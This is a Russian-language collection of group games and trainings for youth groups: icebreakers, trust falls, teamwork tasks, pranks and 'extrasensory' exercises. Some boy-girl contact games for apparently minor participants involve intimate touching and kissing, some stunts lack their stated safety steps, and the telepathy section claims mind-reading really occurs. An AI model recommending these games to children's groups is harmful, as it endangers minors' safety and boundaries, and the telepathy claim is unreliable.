ИГРЫ И ТРЕНИНГИ


Оглавление

  1. ИГРЫ НА ЗНАКОМСТВО
  2. ИГРЫ НА КОНТАКТНОСТЬ
  3. ИГРЫ HА КОМАНДНУЮ РАБОТУ
  4. ТРЕНИНГ НА ДОВЕРИЕ
  5. HА СНЯТИЕ НАПРЯЖЕНИЯ В ГРУППАХ МАЛЬЧИК - ДЕВОЧКА
  6. УПРАЖНЕНИЯ НА ЭКСТРАСЕНСОРИКУ
  7. ПОДВИЖНЫЕ ИГРЫ
  8. ИГРЫ НА ПОДНЯТИЕ ЭМОЦИОНАЛЬНОГО ФОНА
  9. ИГРА НА ЧЕСТНОСТЬ
  10. ОДНОРАЗОВЫЕ ИГРЫ
  11. ТРЕНИНГИ НА СНЯТИЕ АГРЕССИИ
  12. КАРТОТЕКА ИГР

 


I. ИГРЫ НА ЗНАКОМСТВО

1. "Снежный ком". Группа встает в круг и первый называет свое имя. Второй называет имя первого и свое. Третий имя первого, второго и свое. Вместе с именем можно изобразить свой любимый жест, назвать свой любимый напиток, личностное качество (вариант - начинающееся на первую букву имени), хобби и т.п.

2. "Собраться в группы по именам и хором прокричать свое имя". Люди с уникальными именами объединяются в одну группу и должны прокричать что-нибудь их объединяющее.

3. "5 важных вещей". Выполняется в парах. Пары расходятся на пять минут и молча жестами показывают друг другу пять самых важных для себя вещей. А затем пара жестами представляет друг друга кругу. Возможны варианты: пять самых страшных для меня вещей, самых неприятных и т.п.

4. "Рассказать о себе в трех словах".

5. "Газетка". Группа стоит в кругу. Ведущий в центре, у него в руках свернутая "газетка". Hазывается имя кого-то из круга, и ведущий пытается его осалить газеткой. Чтобы не быть осаленным, названный должен успеть быстро назвать кого-то еще, стоящего в кругу. Если человека осалили до того, как он назвал имя, он становится водящим. Через некоторое время вводится дополнительное правило: бывший ведущий, как только встает в круг должен быстро назвать какое-нибудь имя. А если он не успевает это сделать до того, как его осалит новый ведущий, он становится ведущим опять. В группе, в которой много малознакомых людей иногда целесообразно, чтобы тот, чье имя назвали поднимал руку, так как ведущий может не ориентироваться в именах.

6. "Представиться по-разному". Каждый человек в кругу должен "представить себя": изобразить жест, сказать слово, прочитать стихотворение и т.п.

7. "Мяч по кругу". Все сидят в кругу. У первого игрока в руках мяч. Он называет чье-либо имя и кидает этому человеку мячик. Поймавший мяч должен назвать другое имя и кинуть ему мяч. Так до тех пор, пока не будет обойден весь круг, причем мяч должен побывать у каждого только один раз.

8. "Построиться по именам в алфавитном порятке". Хорошо при первой встречк.

9. "Hарисовать на листе бумаги что-то характеризующее художника".

10. "Сделать визитку соответствующую своей личности".

11. Группа встает в два круга - внешний и внутренний, лицом к лицу. Получившиеся пары в течение двух-трех минут знакомятся и рассказывают о себе, а затем внутренний круг смещается вправо на одного человека. Цикл повторяется, пока не будет пройден весь круг. Можно использовать музыкальное сопровождение, проводить игру в танце.

12. "Карточки". Группе раздаются карточки, разделенные на квадраты. В каждом квадрате написано какое-то качество человека. (Hапример: Я люблю петь. У меня есть собака. Мне грустно. И т.п.) Каждый должен найти людей с данными признаками и вписать их имена на свою карточку, чтобы оказались заполнены все клетки. В упражнение следует включать те качества, которые важны педагогу: интерес к профильной деятельности (я люблю театр), группы по увлечениям (я люблю читать фантастику), качества присущие только участнику, которого хочется "выиграть" в рамках упражнения (пишутся под конкретного человека).

13. Hесколько ребят становятся в шеренгу и называют водящему свои имена. Потом водящий отворачивается, участники меняются местами и водящий должен правильно назвать их по именам.

14. "Животные на спину". Каждому человеку на спину вешается картинка (или название) животного так, чтобы он его не видил. Чтобы отгадать, человек может задавать вопросы окружающиим, на которые те отвечают да или нет. (Hапример: "У меня есть перья? Я хищник? Я живу в воде? и т.п.). Желательно, чтобы вопросы задавали всем. Если человек быстро отгадывает животное, ему на спину можно повесить следующее. Вместо животных можно использовать портреты людей из данной группы. Вопросы следует задавать по поводу их личных внутренних качеств.

15. "Поздороваться за руку с максимальным количеством людей".Каждый должен за определенное время (1-3 мин.) успеть поздороваться за руку с максимальным количеством людей. Внимание участников фиксируется на том, что руку надо пожимать доброжелательно, глядя в глаза человеку. Вариант: обязательно называть свое имя. Можно оговорить то, что необходимо подсчитать количество людей, с которыми ты поздоровался. Тогда по завершении упражнения ведущий спрашивает: "Кто поздоровался больше, чем с 10 людьми? А больше чем с 20?" Выявляются несколько лучших.

2. ИГРЫ НА КОНТАКТНОСТЬ

1. "Поздороваться носами". За 1 минуту поздороваться с как можно большим количеством человекю Здороваться можно руками, носами, коленками, губками и т.д,

2. "Орех". Делается в парах мальчик-девочка. Человеку в одну штанину кладется орех Задача партнера - "перегнать" этот орех в другую штанину.

3. "Найти значок" . Проводится в парах мальчик-девочка. Например, мальчик выходит за дверь. В этот момент второй мальчик прячет на девочке какой-то предмет типа значка. Лучше в неожиданных местах. Можно проводить вместе несколько пар, кто быстрее. Можно проводить "в слепую". Можно делать прищепками - пары с завязанными глазами, ведущий развешивает на них прищепки - а потом кто быстрее снимет их с партнера. Или парные соревнования.

4. "Рисуем на ладошках". Выполняется в парах. Ребята закрывают глаза, протягивают друг другу руки: один ладонями вверх, другой - вниз. Один представляет какой-то образ и пытается передать его второму, поглаживая его ладонями (например: море, ветер, двое под фонарем и т.д.). Затем пары меняются.

5. "Молекулы". Группа хаотично передвигается по помещению. Ведуий кричит, - "Объединяемся в группы по 3(4,5 и т.д.) человек. Остальные должнны быстро объедениться, как было сказано, и крепко обняться в группах. Если после этого в играх нужно несколько микрогрупп, то можно назвать сразу нужное число.

6. "Салки-обнималки". Игра типа салок, но с одним новым правилом: нельзя салить тех, кто стоит, крепко обнявшись. Но так стоять можно не более 7 сек.

7. "Определи наощупь". Группа стоит в кругу. Нужно пройти и определить, у кого самые теплые руки (носы, уши...).

8. "Остров - 1". Группе сообщается, что они оказались на необитаемом острове. Вдруг на горизонте они увидели корабль. Это их последний шанс, поэтому нужно постараться любым способом привлечь к себе внимание. После этого можно спросить у группы - кто кого заметил. Этот человек загибает палец, а потом смотрят, у кого пальцев больше.

9. "Остров" - 2". "Группе нужно уместиться на "острове" - куске ткани. Причем "вода поднимается" - т.е. размер острова уменьшается. Уменьшать можно почти до бесконечности.

10. "Путаница". Все встают в круг и протягивают вперед руки. Нужно схватиться своими руками за руки разных людей. Затем нужно распутаться. Можно усложнить задание, если запретить разговаривать. На обсуждении путаницу можно сравнить с человеческими отношениями, которые кажутся запутанными, когда все между собой переплетены, но если всем к этому стремиться, то можно распутать.

11. "Живой мост". Группа встает в две шеренги, лицом друг к другу и противоположные люди крепко держат друг друга за руки. Человек ложится на руки и как по "живому мосту" перемещается в конец. Затем - следующий, но нужно соблюдать технику безопасности.

12. "Бесконечное кольцо". Группа встает в круг и берется за руки. На руке у ведущего висит веревочное кольцо. Не разрывая рук все должны пролезть сквозь него (по кругу) и вернуть кольцо обратно. Второе кольцо можно пустить в другую сторону.

13. "Слепой скульптор". Группа разбивается по три человека, и одному завязывают глаза. В это время второй из третьего "лепит" скульптуру. Затем "слепой" должен из второго слепить то же, что тот слепил из третьего.

14. "Встать спиной друг к другу". В парах: встать спиной друг к другу и присесть без помощи рук; встать лицом друг к другу и присесть. То же можно делать в группах по 5-7 человек.

15. "Сесть друг другу на колени". Задание нужно всем сесть друг другу на колени. Для этого группа встает в круг, поворачивается боком, сужает круг и одновременно садится так, чтобы можно было расслабить ноги. Затем можно обойти кружок. Группу нужно страховать.

16. В парах: встать спинами друг другу, "лечь" и расслабиться.

17. Мешочек. Группа встает кругом и, взяв друг друга под руки и протянув руки вперед, перебрасывает по кругу мешочек с горохом. Главное его не уронить т.к. в этом случае игра начинается с начала. Затем мешочек кидают через одного, потом через двоих.

18. "Определение по ногам". Девочки садятся в случайном порядке, мальчику завязывают глаза, предлагаем наощупь (по ногам!) определить кто где сидит.

19. "Шоколадка" - девочки ложатся, во рту у них шоколадка, мальчикам завязывают глаза и раскручивают - задача найти "свою" девочку и откусить кусок шоколадки...

20. "Статуя любви." Играет равное кол-во мальчиков и девочек. В комнате остаются трое - остальные за дверью. Скульптору предлагается слепить из пары статую любви - как он себе представляет, когда работа закончена он меняется с одним из стоящих ( мальчик с мальчиком), вызывается следующий скульптор - если первым лепил мальчик - второй девочка. Идеал - когда дети не подозревают, что им придется меняться...

21. "Танец на газете" - пара танцует, газетка уменьшается, кто смог танцевать на меньшем клочке - выиграл

22. "Прятки в темноте". Надо не только найти но и узнать на ощупь.

23. "Бревно дедушки Ленина" - группа ложится на пол, один человек перпендикулярно сверхо, задача совместным вращением вокруг оси передвинуть его из начала ряда в конец. Руками помогать нельзя.

24. "Яблоко на веревке" - подвешивается на капронке и пара должна его съесть не пользуясь руками - проводится как соревнование пар. (Но можно группой - кто первый откусит - или по-очереди). Веселее когда они прыгают на одной ноге. Hе попавший в группу - выбывает

3. ИГРЫ HА КОМАНДНУЮ РАБОТУ

1. "Енотовы круги -1". Вся группа с завязанными глазами держится за веревочное кольцо. По команде нужно изобразить определенную фигуру - треугольник, квадрат и т.п.

2. "Выдти по числу пальцев". Группа встает в шеренгу. Ведущий называет число, не превышающее количества человек группы. Сразу же из группы должно выпрыгнуть количество людей, равное названному числу. Упражнение повторяется до результата, каждый раз с новым числом. Возникает ощущение умения понимать друг друга без слов.

3. "Выкинуть на пальцах". Всей группе на "раз-два-три" надо выкинуть на пальцах такие цифры, чтобы их сумма равнялась заданной ведущим. Упражнение повторяется до результата.

4. Вся группа должна одновременно прыгнуть вперед не сговариваясь.

5. Группа по команде поднимает руки, затем без команды должна одновременно опустить их. То же можно делать со стульями: не сговариваясь молча вместе встать, обойти вокругт стула (син-хронно) и одновременно сесть.

6. "Посчитать до 18". Группа должна по порядку посчитать до N (либо равное, либо большее числа участников), причем каждую цифру должен произносить только один человек. Договариваться, кто что произносит нельзя. Как только какое-то число произносят несколько человек одновременно или долго не произносит никто, счет начинается с начала. Факультативное правило: Каждый человек должен произнести хотя бы одно число.

7. Hе разговаривая, сложить из стульев какую-то фигуру (например, букву "ю"). Можно проводить на время.

8. Два человека стоят упершись спинами друг в друга. Hужно вместе сесть и вместе встать. То же самое - стоя лицом друг к другу и взявшись за руки и отклонившись назад. Вариант упражнения - группа из нескольких человек, стоящих в кольце.

9. "Узел". Каждый из группы держится за веревку. Задача - завязать веревку в узел. Отпускать руки нельзя, можно только перемещать вдоль веревки (если кто-то отпускает руки, упражнение начинается с начала). Вариант - потом разявязать завязавшийся узел с теми же правилами. Вариант - развязать узел, завязанный ведущим.

10 С закрытыми глазами молча построиться по. росту.

11. Молча построиться по дням рождения.

12. "Тарелочки - 1". Группе дается несколько тарелочек. Группа должна, не наступая на ковер, переправиться по тарелочкам через него. Условие: на каждой тарелочке должна постоянно находиться хотя бы одна нога. Иначе тарелочка отбирается.

13. "Puzzle". С завязанными глазами молча собрать доски Сегена.

14. Все стоят в кругу. Закрыв глаза снимают обувь и перемешивают. Hе трогая руками надо найти свою (ногами).

15. Муравьиная тропа. Группа разбивается на две части и встает на длинную доску по обе стороны от середины. Задача - двум подгруппам поменяться местами. Если кто-то наступает на землю или касается земли, упражнение начинается с начала.

16. Вся группа стоит на коврике. Hужно перевернуть его на другую сторону. Если кто-то наступил на пол - упражнение начинается с начала.

17. "Веревочка за руки". Веревочка натянута чуть ниже пояса самого высокого человека в группе. Группа стоит взявшись за руки. Задача - всем пройти над веревочкой, не задев ее. Примечание: чтобы шла групповая работа, следует либо ввести правило, что прыгать нельзя, либо ввести "слепых", "немых" людей.

18. "Тарелочки по кругу". Тарелочки расположены по кругу, их число равно числу участников. Hужно, не наступая на пол, всем одновременно пропрыгать круг с тарелочки на тарелочку. Размеры тарелок подбираются так, чтобы на каждой помещался только один человек.

19. "Осьминожка". К кольцу привязаны длинные веревки, в кольцо кладется теннисный мячик. Задача - не уронив мячик, обнести его вокруг колонны (пронести над полем). Вариант: в большом кольце воздушный шарик.

20. "Орехи". Каждому человеку в группе дается грецкий орех. Hужно внимательно его осмотреть и запомнить. Затем орехи складываются в общую кучу и перемешиваются (для усложнения можно добавить еще орехов). Каждый должен найти свой орех. Более сложный вариант - то же самое с закрытыми глазами.Затем у каждого по кругу спрашивается, как он определил свой орех. Hа обсуждении обычно говорится, что сначала все люди кажутся одинаковыми, а на самом деле очень сильно различаются. И очень часто за жесткой, некрасивой оболочкой скрывается что-то нежное и ранимое.

21. "Кельтское колесо". По легенде древних кельтов все люди делятся по сторонам света.
Люди с Севера - это люди действия. Лидеры, которые делают дело. Люди, которые идут к цели любыми путями, не оглядываясь на средства, их мало интересует атмосфера, которая царит вокруг.
Люди с Запада - это люди расписаний, расчетов, точности, дисциплины. Их часто обвиняют в бесчувственности.
Люди с Востока - это люди творчества. Много идей, но при этом они не занимаются их реализацией.
Люди с Юга - обеспечивают теплые отношения и комфорт в группе. Атмосфера в групе важнее поставленной цели, движения вперед.
По легенде Древних кельтов, для достижения гармонии в каждой группе, а также в каждом человеке должны присутствовать все стороны света, хотя какая-то и преобладает. Это и представляет собой замкнутое кельтское колесо.
Члены группы разделяются на подгруппы по своей предрасположенности по сторонам света. Если человек колеблется, ему предлагают выбрать сторону света, к которой он относит себя в настоящий момент.

Этапы:
1. 7-10 минут на подготовку.
Каждая сторона света представляет себя, делает рекламу своих качеств.
2. Каждая группа рассказывает отрицательные стороны других частей света и выслушивает про свои негативные черты.
3. Каждая группа отвечает на вопрос: почему бы она не могла обойтись без других сторон света.
4. Группа рассматривает, как наилучшим образом организовать разделение обязанностей по людям соответствующих сторон света для решения общих задач. Если в группе не оказывается какой-то стороны света, то на выступлениях ее роль берет на себя ведущий, а внимание группы обращается на то, что из-за отсутствия этой стороны в группе возникнут определенные проблемы. В конце у группы спрашивается, какая еще сторона света, кроме названной в них доминирует. Если в группе выпала какая-то сторона (чаще всего Запад), людям назвавшим ее как торую, предлагается выполнять ее функцию для решения проблем в группе.

4. ТРЕНИНГ НА ДОВЕРИЕ

1. "М-М-М по кругу". Группа сидит в кругу. Первый человек долго тянет звук м-м-м-м-м... на определенной высоте. В тот момент, когда он заканчивает, следующий должен подхватить, и так далее по кругу. Важно, чтобы звук не прерывался.

2. "Коленочки". Группа сидит в кругу. Каждый кладет свои руки на колени соседям. Hадо хлопать ладонями по коленям, так чтобы ладони хлопали строго по очереди, как они лежат. Сбившийся человек убирает руку, которой ошибся.

3. "Восковая палочка". Группа стоит в плотном кругу. В центре в расслабленном состоянии стоит человек. Он начинает падать (не сгибая ног) в какую-то сторону. Группа ловит его и возвращает назад. Первый вариант: человек сам выбирает, куда падать. Второй вариант: Группа качает человека в каком-либо направлении. Техника безопасности: Исходное положение у стоящих в кругу - правая нога вперед, левая сзади в упоре, руки вытянуты вперед. Человека ловят на ладони. От группы требуется большое внимание и аккуратность, иначе человеку можно сильно навредить. Если в группе есть совсем слабый человек, то можно либо поставить его между двумя сильными, либо поставить сзади него более сильного человека, который просунет руки ему под плечи и будет его дублировать (при этом важно не обидеть самого этого человека).

4. "Ковер-самолет (времена года)". Человек ложится на коврик, закрыв глаза, группа встает вокруг него (зима). Затем все аккуратно кладут на него руки (весна). Затем группа поднимает человека и обносит круг (лето). Затем его медленно, покачивая, опускают и кладут на коврик (осень). Техника безопасности: поднимать человека нужно осторожно, подсунув руки под него. Важно следить, чтобы у тех, кто поднимает, спины были выпрямлены, то есть поднимали человека за счет мышц ног.

5. "Доверчивое падение". Человек стоит на высоте (стул, стол и т.п.). Группа стоит сзади в две шеренги, вытянув вперед руки и образуя коридор. Человек складывает на груди руки (чтобы не задеть окружающих по лицу) и падает на выставленные руки стоящих внизу. Падать можно спиной или лицом.

Техника безопасности:

6. "Живой мост". Группа стоит в две шеренги лицом к лицу. Hоги в положении на упор, согнутые в локтях руки вытянуты вперед. Hужно передать человека по этому коридору с начала до конца. Следует предупредить группу об аккуратности при выполнении задания.

7. "Фотоаппарат." Группа делится на пары. Первый в паре становится фотографом, второй фотоаппаратом. Фотоаппарат закрывает глаза, фотограф подводит его к интересному месту в помещении, и слегка нажимая на его голову "делает снимки" (Фотоаппарат на секунду открывает глаза, а потом закрывает опять). Потом фотоаппарат должен угадать, в каком месте "сделаны снимки". Затем роли меняются. Hа самом деле упражнение имеет скрытый подтекст, о котором говорится на последующем обсуждении. Hаиболее важные моменты следующие: кто, из фотографов как вел за собой свой фотоаппарат, предупреждал ли об опасностях, думал ли о напарнике или только о себе. Hасколько фотоаппарату было комфортно со своим фотографом, насколько он доверял ему. Кому приятнее было быть фотографом (то есть ведущим), кому фотоаппаратом (то есть ведомым) и т. д.

8. "Паровозик". Все стоят в колонне, положив руки на плечи друг другу. Глаза закрыты у всех, кроме первого, который ведет группу через разные препятствия. Если препятствие серьезное, то лучше группу о них предупреждать. Вариант: глаза открыты только у последнего и он говорит первому и всей группе, куда идти.

9. "Стена". Человек с закрытыми глазами быстрым шагом идет в сторону либо стены, либо конца сцены. Его напарник должен в последний момент сказать "Стоп", чтобы человек остановился.

Техника безопасности:

10. "Баллы на пальцах." Люди стоят в парах и по счету "три" оба на пальцах выкидывают степень доверия или уровень отношений: от абсолютного недоверия (один палец) до абсолютного доверия (пять пальцев). Затем пары меняются.

11. "Солнышко". Один человек становится в центре и закрывает глаза. Это "солнце". Группа ("планеты") становится на том расстоянии, на котором им комфортно. Также можно принимать различные позы. Затем "солнце" открывавет глаза и смотрит на образовавшуюся картинку. После этого человек, стоящий в центре может передвинуть людей на то расстояние, на котором было бы комфортно ему. В результате все видят реальную и желаемую картину отношений группы к человеку и человека к группе. Это некий вариант социометрии.

12. "Енотовы круги - 2". Берется большой круг (кольцо) из крепкой веревки, за который все берутся руками. Затем начинают осторожно отклоняясь назад растягивать в стороны. Далее можно:

13. "Танцевать вальс с закрытыми глазами". Ведет партнер. Hеобходимо доверие между пар-тнерами.

14. "Енотова колыбель". Веревка в веревочном кольце перекрещивается несколько раз, образуется несколько петель. Каждый берется за образовавшуюся петлю. Hа петли ложится человек, его можно качать, подбрасывать.

15. "Енотовы круги-2." Веревочное кольцо пропускается подмышками человека. Его ноги фиксируются на полу, чтобы не проскальзывали и человека медленно опускают почти до горизонтального положения, а потом поднимают. Страхующий кладет свою руку между полом и лицом человека, чтобы с одной стороны избежать слишком резкого касания пола, а с другой страховка от непредвиденного падения.

16. "Бежать между шеренг". Группа стоит в две шеренги лицом друг к другу вытянув руки вперед. Человек проходит между шеренгами и в последний момент перед его лицом руки по очереди поднимаются вверх. Проходить можно либо с открытыми, либо с закрытыми глазами.

17. "Бежать между шеренг - 2". Люди плотно стоят в две шеренги лицом друг к другу. Человек разбегается и бежит между двумя шеренгами. Люди стоят слишком плотно, и они по очереди расступаются перед ним, создавая эффект волны. Человек видит расступающуюся перед собой шеренгу лиц.

Техника безопасности:
Hеобходимо предупредить группу о необходимости внимательности. Прежде чем бежать, следует спросить группу, готова ли она и дождаться четкого ответа.

18. "Салки на доверие". Часть группы лежит на полу на спине, а сверху над ними группа играет в салки.

19. "Магнит". Люди стоят в шеренгу у стены, им говорится, что они к ней "прилипли". Один выходит в центр. Это "магнит". Он закрывает глаза, сосредотачивается и начинает "притягивать" людей к себе. Тот кто чувствует, что его "выдернули из клея" присоединяется к магниту и они начинают тянуть вместе. Hаблюдая порядок, в котором люди будут "отлипать" от стены можно смотреть на отношение группы к человеку "магниту".

5. HА СНЯТИЕ НАПРЯЖЕНИЯ В ГРУППАХ МАЛЬЧИК - ДЕВОЧКА

Все упражнения следует проводить крайне осторожно, чтобы не скатиться на пошлость

1. "Апельсин". Передать апельсин подбородком по кругу не касаясь руками.

2. "Спичечный коробок". Одеть крышечку от спичечного коробка на нос следующему и далее по кругу не касаясь руками. Также можно передавать яблоко подбородком.

3. "Спичка". Передать по кругу спичку зажатую в зубах. (Спичку можно укорачивать до бесконечности).

4. "Карта". Берется игральная карта. Человек прикладывает карту к вытянутым губам и вдохом "присасывает" к губам и удерживает в таком положении. Карту следует передать следующему и далее по кругу, желательно чередуя мальчик-девочка. Следующий этап - карта виртуальная :-)

5. "Куколка". Берется красивая куколка. Каждый по кругу говорит фразу "Я беру куколку и целую ее в...", потом целует ее в это место, причем повторяться нельзя. Затем по кругу каждый целует своего соседа в то место, куда он поцеловал куколку. В случае неприятных ощущений можно "целовать" через руку.

7. "Веревка из одежды". Все делятся на несколько групп. Hужно из имеющейся одежды связать веревку как можно большей длины. Та группа, у которой веревка окажется длиннее, побеждает.

6. УПРАЖНЕНИЯ НА ЭКСТРАСЕНСОРИКУ

1. "Ладошки". Люди в парах. Один закрывает глаза и протягивает ладони вперед. Второй молча пытается касаниями ладоней и пальцев передать какую-то картинку. (Hапример: осень, дождь, снегопат, фонари, двое на лавочке и т.п.) Потом пары меняются. Hа обсуждении рассказывается, кто что хотел передать, насколько это получилось и почему.

2. "Телепатия". Делается по парам. Человек, сосредоточившись, пытается передать напарнику несложный образ (например: закат). Обычно угадывание чужих мыслей действительно может происходить. Важно, чтобы в группе соблюдалась тишина.

3. "Сенсорика". Человек стоит в центре. К нему со спины кто-то подходит. Попытаться определить пол человека, а если получится, то и имя.

4. "Мышеловка". Из группы выделяются две тройки, которые берутся за руки, встают в кольцо и закрывают глаза. Группа цепочкой проходит сквозь кольца. В какой-то момент тройки резко опускают руки - мышеловка захлопывается. Их задача не разговаривая, не трогая руками, определить количество людей, оказавшихся в кольце.

5. "Остановка рук". У человека закрыты глаза. Hапарник постепенно приближает к нему руку. Когда первому покажется, что чужая рука находится от него на расстоянии 1 см, нужно сказать "Стоп". Вариант - напарник подходит к человеку, стоящему с закрытыми глазами. Когда тот почувствует приближение, он должен сказать "Стоп".

6. Человек с закрытыми глазами. Окружающие по очереди прикладывают палец к его лбу. Он должен назвать пол и постараться определить имя дотронувшегося.

7. Определить цвет на ощупь. Вариант: определить на ощупь край стола (рука в воздухе).

8. "Сколько нас?" С закрытыми глазами (стоя на месте) определить сколько человек в зале и кто где находится.

7. ПОДВИЖНЫЕ ИГРЫ

1. "Перетягивание каната". Две команды перетягивают канат. Кто сильнее.

2. "Себихуза". В центре комнаты - полоса. Две команды по разные стороны полосы пытаются пе-ретянуть друга на свою сторону. Заступивший за линию переходит на другую сторону с сра-жа-ется уже за противоположную команду..

3. "Тайландский бокс". Два человека на ринге с завязанными глазами сражаются мешками, на-би-тыми мягкими тряпками. Возможны и различны варианты: можно одному дать колокольчик, а другому мешок - он бьет на звук, человек с колокольчиком укланяется, можно дать мешки обоим, и ввести двух посредников - они направляют своих игроков короткими командами.

4. Раскладывается лента из туалетной бумаги, нужно пробежать по ней ни разу не оступившись.

5. "Эстафета". Группа выстраивается в несколько колонн. Перед каждой стоит ряд кеглей. Первый человек закрывает глаза и пытается петляя их обойти, а группа подсказывает ему направление движения. Сложность состоит в том, что когда все группы начинают кричать одновременно, выделить из общего шума команды своей группы крайне проблематично.

6. "Хвост дракона". Группа стоит колонной, крепко держась за талию друг друга. Задача перво-го - поймать последнего, а задача того - увернуться.

7. "Бревно". Два человека в кругу берут бревно. Hужно вытолкнуть бревном соперника из круга.

8. "Два кольца". Группа стоит взявшись за руки вокруг нарисованного на зимле кольца. Внутри этого большого кольца находится маленькое. Человек может находиться только либо вне большого кольца, либо внутри малого. Задача каждого - заставить других наступить на запретную территорию и при этом удержаться самому.

9. "Бежать в связке". Нужно пробежать расстояние с связанными ногами. Можно в парах или даже несколько человек.

10. Бежать со свечкой так, чтобы она не погасла.

11. "Американский треугольник". Все разбиваются на четверки. Трое образуют треугольник. Оставшийся - водящий. Его задача - осалить одного из треугольника. Задача остальных двоих в треугольники - защитить своего товарища. Салить, протягивая руку через круг нельзя, можно лишь обегать треугольник вокруг. Когда водящему удается осалить, осаленный становится водящим, постепенно все меняются ролями.

8. ИГРЫ НА ПОДНЯТИЕ ЭМОЦИОНАЛЬНОГО ФОНА

1. "Брейн-ринг". Группа делится на несколько команд. От каждой команды к ведущему подхо-дит по человеку и он им на ухо говорит слово, которое они должны жестами донести до сво-ей команды. Кто быстрее. Показывать на сам предмет нельзя. Вариант : передавать срово не жестами, а рисовать или лепить сз пластилина.

2. "МПС". Нужно группе, задавая по кругу друг другу вопросы, догадаться, что такое МПС. На самом деле, это "мой правый сосед". Несколько человек в кругу должны знать это, чтобы ос-тальным постепенно становилось понятно.

3. "Взглядом поменяться". Группа стоит в кругу. В центре ведущий, который старается занять чье-нибудь место. Тот, чье-место занял ведущий - водит. Люди договариваются взглядом, кто с кем меняется.

9. ИГРА НА ЧЕСТНОСТЬ

1.Все стоят в кругу. Ведущий в центре производит различные движения и жесты, остальные должны их быстро повторить. Тот, кто ошибся - переходит на другую сторону круга. Специально это не отслеживается. Ведущий пытается специально запутать игроков. Потом правила могут поменяться - надо изобразить зеркальное отражение движения водящего. После игры проводится разговор о честности: что игра была для того, чтобы человек осознал для себя честен ли он. Hе надо скрываться, надо быть таким, какой ты есть.

10. ОДНОРАЗОВЫЕ ИГРЫ

1. "Верблюд". Играющие встают в круг и кладут руки друг другу на плечи. Вожатый говорит, что сейчас каждому на ухо скажет название какого-то животного, а потом встанет в центр и будет произносить названия, и чье животное будет названо, должен поджать ноги и повиснуть на соседях. Вожатый подходит к каждому и говорит: "Верблюд". Это надо делать очень аккуратно, чтобы другие не слышали, что говорится соседу. Затем вожатый встает в центр и говорит: "Слушайте внимательно! Сейчас я буду называть животных. Возможно, что некоторых я вообще не называл, так что точно помните свое животное. Итак: Кошка! Лошадь! Верблюд!!!".

2. "Дикая обезьяна" Эта игра еще известна под названием "Бухарский осел". Один желающий выводится из зала или просто подальше от места расположения общего круга, чтобы он не видел и не слышал оставшихся. Ведущий говорит: "Значит так. Сейчас мы его (ее) подколем. Он вернется, а мы скажем, что здесь симпозиум самых диких обезьян и ему нужно определить, кто же самая дикая. Для этого, - скажем мы, - ты должен спросить: "Кто здесь самая дикая обезья-на?" Все закричат? "Я! Я!" С двух попыток ты должен угадать, кто же эта обезьяна. А самая дикая - эта та, кто громче всех кричит и сильнее бьет себя кулаком в грудь. Итак, две попытки. Вот. Он будет спрашивать, а мы орать. После двух попыток он на кого-нибудь укажет. Мы все как бы удивимся и скажем, что он угадал. Тот на кого показали, как на самую дикую обезьяну, выходит. Мы кого-то загадываем вроде бы по-настоящему, и когда вернется второй ведущий и начнет спрашивать, первый раз мы закричим, а второй _ наберем воздух для крика и _ станет ясно. Вопросы есть? Игра протекает согласно данной инструкции. Хорошо в начале удалить не одного, а трех-четырех человек.

3. "Да-нет-да" Зрелищная игра. Из зала вызывается три мальчика и три девочки. Ведущий оставляет себе одного участника противоположного пола из шести. А остальных уводят, чтобы они не подслушивали и не подглядывали. С оставшимся участником договариваются, что он будет отвечать на вопрос в последовательности "Да" -_"Нет" _ "Да". И так три раза на три ответа.

Ведущий задает такие вопросы:

В первой серии ведущий показывает на ладонь, и после согласия узнать, для чего она нужна, пожимает ладонь участника. Во второй серии ведущий показывает на плечо и после 3-го ответа нежно обнимает за плечо участника. В третьей серии ведущий показывает на губы и после 3-го ответа, вытягивает свои губы к участнику как бы хочет поцеловать, и потом играет на губе как маленький. После дружного хохота ведущий садится в зал, а на его место встает 1-й участник. И для него вызывается второй участник противоположного пола. Так по очереди проходят все шесть участников.

4. "Знаешь ли ты Яцека?" Желающих человек 8-10, выстраивают в колонну и очень тесно сжимают плечами. Вжущий подстраивается перед первым и спрашивает: "Знаешь ли ты Яцека? Яцек вот такой!" И показывает, вытягивая руки на уровень головы. Первый спрашивает у второго: и повторяет движение ведущего. Второй - у третьего и т.д. Причем, руки остаются в том же положении. Затем ведущий снова начинает круг, но руки остаются на уровне живота. Опять повтор - руки на уровне коленей. И, наконец, руки почти касаются пола. Когда все оказыаются в таком неудобном положении, ведущий говорит: "Знаешь ли ты Яцека? Яцек вот такой!" И с этими словами сильно толкает корпусом первого играющего.

5. "Любовный рассказ" Двух желающих - парня и девушку - уводят за пределы слышимости. Вожатый говорит, что они сейчас придумают собственную историю любви. По возвращении водящего будут задавать вопросы, если в последнем слове их вопроса последняя буква - гласная, то круг отвечает: "да!" а если - согласная, то - "нет!". В случае, если слово оканчивается мягкими знаками, то круг говорит: "не знаем" и "неважно", по выбору. Водящим дается инструкция: "Мы тут без вас придумали любовную историю. Вы должны ее узнать, задавая вопросы, которые предусматривали бы лишь однозначные ответы: "да", "нет", "не зна-ем". Что вы поймете, потом расскажете. Если водящие растерялись, нужно им чуть помочь. В конце концов вожатый благодарит водящих за то, что они рассказали всем свою "чудесную любовную историю".

6. "Палата номер 6" Двух желающих выводят за пределы слышимости. Вожатый говорит, что все - пациенты-психи из палаты номер 6. Вышедшие - доктора- должны определить синдром нашей болезни. Они, проходя по кругу, будут задавать по одному вопросу. Но отвечать на вопрос, который был задан игроку, должен тот, кто сидит от него через одного человека, то есть четвертый в круге отвечает на вопрос, заданный второму, пятый _ третьему и т.д. Первые двое отвечают: "Сам дурак" или что-то в этом духе. Когда входят "доктора", во-первых, говорят, что они - врачи, а вокруг - больные из палаты №6. Объясняют, что им нужно задавать по одному вопросу, чтобы понять синдром болезни: сдвиги по фазе в левую сторону на два такта.

7. "Идти по часам". У группы собираются часы и прочие небольшие, но ценные предметы и раскладываются по полу. Человека выводят на край комнаты, просят хорошенько запомнить рас-положение предметов и завязывают глаза. Его задача - дойти до другого конца комнаты. Тем временем часы незаметно убирают (а на их место можно положить что-то типа орехов): подска-зывают человеку "как аккуратно идти" и гровко "переживают" от "раздавленных" часов. Пока он снимает повязку, часы укладываются на место.

 

11. ТРЕНИНГИ НА СНЯТИЕ АГРЕССИИ

1. "Пара ласковых". Группа в кругу. Одному завязывают глаза. Ведущий (или сосед) показывает на кого-то рукой и просит вылить на него всю злость. После потока "высказываний" человеку развязывают глаза. Он видит свою "жертву" и извиняется перед ней. Мол, был несдержан. "Сорвалось". Интересный эффект, когда показывают человеку на его самого.

